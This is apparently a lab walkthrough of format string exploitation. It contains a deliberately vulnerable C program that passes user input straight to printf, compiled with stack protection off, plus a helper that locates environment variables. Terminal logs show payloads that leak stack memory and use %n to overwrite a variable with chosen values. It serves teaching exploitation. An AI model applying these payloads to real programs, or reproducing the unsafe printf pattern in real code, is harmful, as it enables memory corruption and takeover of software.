printf("A is %d and is at %08x. B is %x.\n", A, &A, B) :
/*
* gcc -fno-stack-protector -m32 -z execstack -o
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char text[1024];
static int test_val = -72;
if(argc < 2) {
printf("Usage: %s <text to print>\n", argv[0]);
exit(0);
}
strcpy(text, argv[1]);
printf("The right way to print user-controlled input:\n");
printf("%s", text);
printf("\nThe wrong way to print user-controlled input:\n");
printf(text);
printf("\n");
// Debug output
printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);
exit(0);
}
Sn0rt@warzone:~/lab$ ./fmt testing
The right way to print user-controlled input:
testing
The wrong way to print user-controlled input:
testing
[*] test_val @ 0x0804a030 = -72 0xffffffb8
Sn0rt@warzone:~/lab$ ./fmt testing%x
The right way to print user-controlled input:
testing%x
The wrong way to print user-controlled input:
testingbffff270
[*] test_val @ 0x0804a030 = -72 0xffffffb8
Sn0rt@warzone:~/lab$ ./fmt $(python -c 'print "0%x8." * 10')
The right way to print user-controlled input:
0%x8.0%x8.0%x8.0%x8.0%x8.0%x8.0%x8.0%x8.0%x8.0%x8.
The wrong way to print user-controlled input:
0bffff2508.04c8.048.0387825308.07825302e8.025302e388.0302e38788.02e3878258.0387825308.07825302e8.
[*] test_val @ 0x0804a030 = -72 0xffffffb8
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char *ptr;
if(argc < 3) {
printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]); /* get env var location */
ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
printf("%s will be at %p\n", argv[1], ptr);
}
Sn0rt@warzone:~/lab$ ./getaddr PATH fmt
PATH will be at 0xbffffe26
Sn0rt@warzone:~/lab$ ./fmt $(printf "\x26\xfe\xff\xbf")%08x.%08x.%08x.%s
The right way to print user-controlled input:
&���%08x.%08x.%08x.%s
The wrong way to print user-controlled input:
&���bffff270.0000004c.00000004./local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
[*] test_val @ 0x0804a030 = -72 0xffffffb8
Sn0rt@warzone:~/lab$ ./fmt $(printf "\x30\xa0\x04\x08")%x%x%156x%n
The right way to print user-controlled input:
0�%x%x%156x%n
The wrong way to print user-controlled input:
0�bffff2704c 4
[*] test_val @ 0x0804a030 = 170 0x000000aa
Sn0rt@warzone:~/lab$ ./fmt $(python -c 'print ("\x30\xa0\x04\x08TEST\x31\xa0\x04\x08TEST\x32\xa0\x04\x08TEST\x33\xa0\x04\x08" + "%x%x%132x%n%17x%n%17x%n%17x%n")')
The right way to print user-controlled input:
0�TEST1�TEST2�TEST3�%x%x%132x%n%17x%n%17x%n%17x%n
The wrong way to print user-controlled input:
0�TEST1�TEST2�TEST3�bffff2404c 4 54534554 54534554 54534554
[*] test_val @ 0x0804a030 = -573785174 0xddccbbaa
Sn0rt@warzone:~/lab$ ./fmt $(python -c 'print ("\x30\xa0\x04\x08" + "\x31\xa0\x04\x08" + "\x32\xa0\x04\x08" + "\x33\xa0\x04\x08" + "%154x%4$n")')
The right way to print user-controlled input:
0�1�2�3�%154x%4$n
The wrong way to print user-controlled input:
0�1�2�3� bffff260
[*] test_val @ 0x0804a030 = 170 0x000000AA
Sn0rt@warzone:~/lab$ ./fmt $(python -c 'print ("\x30\xa0\x04\x08" + "\x31\xa0\x04\x08" + "\x32\xa0\x04\x08" + "\x33\xa0\x04\x08" + "%154x%4$n" + "%17x%5$n" + "%17x%6$n" + "%17x%7$n")')
The right way to print user-controlled input:
0�1�2�3�%154x%4$n%17x%5$n%17x%6$n%17x%7$n
The wrong way to print user-controlled input:
0�1�2�3� bffff250 4c 4 804a030
[*] test_val @ 0x0804a030 = -573785174 0xddccbbaa
